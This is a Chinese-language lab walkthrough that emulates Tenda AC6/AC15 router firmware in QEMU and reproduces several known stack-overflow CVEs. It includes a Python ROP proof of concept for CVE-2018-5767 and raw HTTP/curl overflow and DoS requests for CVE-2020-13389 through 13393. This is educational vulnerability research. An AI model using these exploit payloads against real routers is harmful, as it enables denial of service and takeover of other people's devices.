Tenda-AC 路由器漏洞复现

Tenda-AC6 路由器固件

Tenda AC6 V15.03.05.19 路由器

固件下载:https://www.tenda.com.cn/material/show/102681

Tenda-AC15 路由器固件

Tenda AC15 V15.03.1.16 路由器

固件下载:https://www.tenda.com.cn/download/detail-2680.html

基础环境配置

创建Python虚拟环境

目录

1
cd ~/Pwn/IoT

创建虚拟环境

1
python3 -m venv IoT

激活虚拟环境

1
source IoT/bin/activate

binwalk安装

https://github.com/ReFirmLabs/binwalk/wiki/Compile-From-Source

参考github教程

firewalker 安装

1
git clone https://github.com/craigz28/firmwalker/

sasquatch SquashFS 安装

1
2
3
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch && sudo make && sudo make install

qemu 安装

1
2
3
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

gdb-multiarch 安装

1
sudo apt-get install gdb-multiarch

提取固件

1
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

固件分析

提取后进到根文件系统目录 squashfs-root ,有以下这些路径

分析自启动项文件:/etc_ro/init.d/rcS

webroot_ro 存放了路由器 Web 管理界面的相关文件,初步审计判断是goform的平台

firmwalker扫描根文件系统:

1
./firmwalker.sh /home/lenovo/Pwn/IoT/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root

发现存在服务httpd

尝试在qemu虚拟机中启动这个服务,以进一步分析

首先下载qemu system需要的阉割debian系统

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

然后我们要让qemu和宿主机通信,这里采用桥接的模式,在此之前先安装tunctl

1
sudo apt install uml-utilities bridge-utils

配置虚拟网卡以及网络IP地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo brctl addbr br0 # 创建桥(bridge) br0
sudo ip addr add 10.10.10.1/24 dev br0 # 给 br0 分配 IP
sudo ip link set dev br0 up # 启动 br0

sudo ip tuntap add dev tap0 mode tap user $USER # 创建 tap0 并挂到 br0
sudo brctl addif br0 tap0
sudo ip link set tap0 up

# 验证状态
ip addr show br0

# 确保 br0: UP, 10.10.10.1/24
brctl show
# 确保 tap0 在 br0 的 interfaces 列表里,state UP

调整镜像到 32GiB(解决报错:SD card size has to be a power of 2, e.g. 32 GiB.)

1
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G

模拟固件环境

qemu,启动

1
2
3
4
5
6
7
8
9
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

这里为了方便阅读qemu启动参数的阅读,将其拆分开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-M              //选择虚拟机

-drive //定义存储驱动器

file= //定义镜像文件

-net nic //创建客户机网卡

-net tap //创建tap设备,以桥接方式跟宿主机通信

ifname=tap0 //tap设备与tap0虚拟网卡进行桥接通信

-nographic //以非图形化模式启动

-append //内核启动附加参数

console=ttyAMA0 //console指向串口

更多参数详解可以 -h 查看qemu的参数

下面我们启动qemu system模式,给启动后的QEMU虚拟机配置网卡IP地址,在QEMU shell终端输入:

1
2
3
4
5
6
7
8
9
10
11
# 拉起 eth0
ip link set eth0 up

# 给 eth0 配 IP,并加默认路由
ip addr add 10.10.10.2/24 dev eth0
ip route add default via 10.10.10.1

# 验证
ip addr show eth0
ip route show
ping 10.10.10.1

现在宿主机和客户机可以通信了,然后将宿主机的固件打包上传到客户机,通过python临时起一个http服务,再从宿主机wget下来,具体操作如下:

在宿主机上执行

1
2
3
4
5
# 打包
tar -cjf squashfs-root.tar.bz2 squashfs-root

# 启动临时 HTTP 服务(Python3)
python3 -m http.server 8000

在客户机上执行

1
2
3
4
5
# squashfs-root为固件文件系统
wget http://10.10.10.1:8000/squashfs-root.tar.bz2

# 解压文件系统
tar -jxvf squashfs-root.tar.bz2

下一步我们使用chroot切换文件夹

1
chroot squashfs-root sh

切换完成之后,直接启动httpd服务,效果如下

这里是第一个坑点,因为咱们是虚拟的网络环境,没有过他固件check_network()函数的检查,所以会卡在这动不了,服务无法正常启动,而且会显示一些文件没有建立的提示

IDA打开httpd后搜索程序启动时显示的字符串,通过交叉引用定位到函数sub_2E420()

这里修改机械码绕过判断

发现修改后仍出现报错

再次修改绕过ConnectCfm()这里的判断

但修改后发现监听了明显不正常的地址,说明没有正常获取网卡的IP地址

这里我们分析check_network()函数,发现其具体实现是在动态链接库中

查询程序的依赖库

1
readelf -a ./httpd | grep NEEDED

根据调用链找到对应函数,check_network()函数在程序开始的时候会调用get_eth_name()函数来获取设备网络接口

由于这里只会对硬编码的索引返回对应的接口名,其他情况都会落到 default 分支返回 unk_66C8(一个未定义或空串),后续通过这个名字去查接口时就会失败

我们可以手动创建网络接口br0、分配ip来让程序运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 拉起物理网卡
ip link set eth0 up

# 2. 建立桥 br0
ip link add name br0 type bridge

# 3. 把 eth0 挂到 br0
ip link set eth0 master br0

# 4. 给 br0 分配 IP 并启动
ip addr add 10.10.10.2/24 dev br0
ip link set br0 up

# 5. 添加默认路由
ip route add default via 10.10.10.1 dev br0

# 验证
ip addr show br0
ip route show
ping -c3 10.10.10.1

为便于调试,我们采用 qemu-static 模式

同时根据启动项文件 /etc_ro/init.d/rcS ,把必须的前端文件拷贝过去

1
cp -r webroot_ro/* webroot/

调试时连接端口 12345 即可

1
sudo qemu-arm-static -g 12345 -L ~/Pwn/IoT/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root ~/Pwn/IoT/_US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/bin/httpd

1
2
3
gdb-multiarch
target remote localhost:12345
continue

成功运行 httpd 程序

漏洞复现

CVE-2018-5767

这个漏洞点主要在程序解析用户 Cookie 时,没有对 password= 字段的读取长度进行限制,导致可以溢出,覆盖返回地址

触发该漏洞需访问任一非加白路径

并通过白名单后缀名绕过后续的 Cookie 解析和认证检查即可

新开shell来起pwndbg调试

1
2
3
4
gdb-multiarch
target remote localhost:12345
b *0x002ED18
continue

首先测溢出点

溢出444+4=448个字节就行了

然后再找libc基地址

这里不知是何原因,通过vmmap指令查看虚拟内存映射的时候一直显示:There are no mappings for specified address or module.

尝试手动查看程序的虚拟内存映射,使用top命令找到qemu-arm-static进程PID

查看 /proc/[pid]/maps 文件,通过 proc 文件系统可以读取进程的“虚拟内存映射”(memory map)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from pwn import *

libc = ELF('./lib/libc.so.0')
libc_base = 0xa14b2000

puts = libc_base + libc.sym['puts']
_str = b"IoT\x00"
mov_r0 = libc_base + 0x00040cb8 # mov r0, sp ; blx r3
pop_r3 = libc_base + 0x00042098 # pop {r3, pc} ; bx lr
url = "http://10.10.10.1/goform/execCommand"
payload = cyclic(448) + p32(pop_r3) + p32(puts) + p32(mov_r0) + _str

cookie = {"Cookie": "password=" + payload.decode('latin-1') + ".gif"}
response = requests.get(url=url, cookies=cookie)
print(response.text)

CVE-2020-13389

这个漏洞核心在于:程序在处理请求参数 schedStartTimeschedEndTime 的值 src 时,未做长度检查,直接将其 strcpy 到固定大小的缓冲区 ptr 里,可以溢出缓冲区覆盖掉函数返回地址

相关伪代码

在 Windows Powershell 拿到 WSL 的 IP 地址:

1
wsl hostname -I

端口转发

1
sudo socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.10.1:80 &

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /goform/openSchedWifi HTTP/1.1
Host: 172.28.146.20:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/plain
Cookie: password=nrt5gk

schedWifiEnable=0&schedStartTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

PowerShell:

1
2
3
4
5
6
curl -v -X POST http://172.28.146.20:8080/goform/openSchedWifi \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "schedWifiEnable=0" \
--data-urlencode "schedStartTime=$(printf '1%.0s' {1..20000})" \
--data-urlencode "schedEndTime=$(printf '1%.0s' {1..20000})" \
--output /dev/null

造成 DoS(Denial-of-Service) 攻击

CVE-2020-13390

同 CVE-2020-13389,程序在处理请求参数 entrysmitInterface 的值时,直接通过 sprintf 函数将格式化数据写入字符串缓冲区,可以溢出缓冲区覆盖掉函数返回地址

相关伪代码

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /goform/addressNat HTTP/1.1
Host: 172.28.146.20:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/plain
Cookie: password=whz5gk

entrys=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&mitInterface=1111111&page=11111111

CVE-2020-13391

同CVE-2020-13390,对用户可控的 speed_dir 参数未做长度校验,导致栈上缓冲区溢出并可覆盖返回地址

相关伪代码

POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /goform/SetSpeedWan HTTP/1.1
Host: 172.28.146.20:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cookie: password=jgi5gk

speed_dir=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

CVE-2020-13392

同CVE-2020-13391,对用户可控的 funcpara1/funcpara2 参数使用无界 sprintf,将其写入栈上固定大小缓冲区,导致 stack-based buffer overflow,可覆盖返回地址并被利用为任意代码执行漏洞

相关伪代码

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /goform/********** HTTP/1.1
Host: 172.28.146.20:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/plain
Cookie: password=ioo5gk

save=1&msgname=1&funcname=save_list_data&funcpara1=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&funcpara2=222222222222222222222222

CVE-2020-13393

同CVE-2020-13392,当处理POST请求的deviceIdtime参数时,程序直接使用strcpy函数将用户输入复制到栈上的局部变量,没有进行长度检查。攻击者可以通过发送包含超长参数值的恶意POST请求,覆盖栈上的函数返回地址,从而实现任意代码执行。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /goform/saveParentControlInfo HTTP/1.1
Host: 172.28.146.20:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/plain
Cookie: password=pyl5gk

deviceId=&time=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111